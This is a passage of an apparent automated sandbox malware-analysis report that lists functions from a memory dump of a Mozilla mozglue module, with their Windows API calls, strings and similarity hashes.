memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

NaN, xrefs: 6C4E9EC1
Infinity, xrefs: 6C4E9EB7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
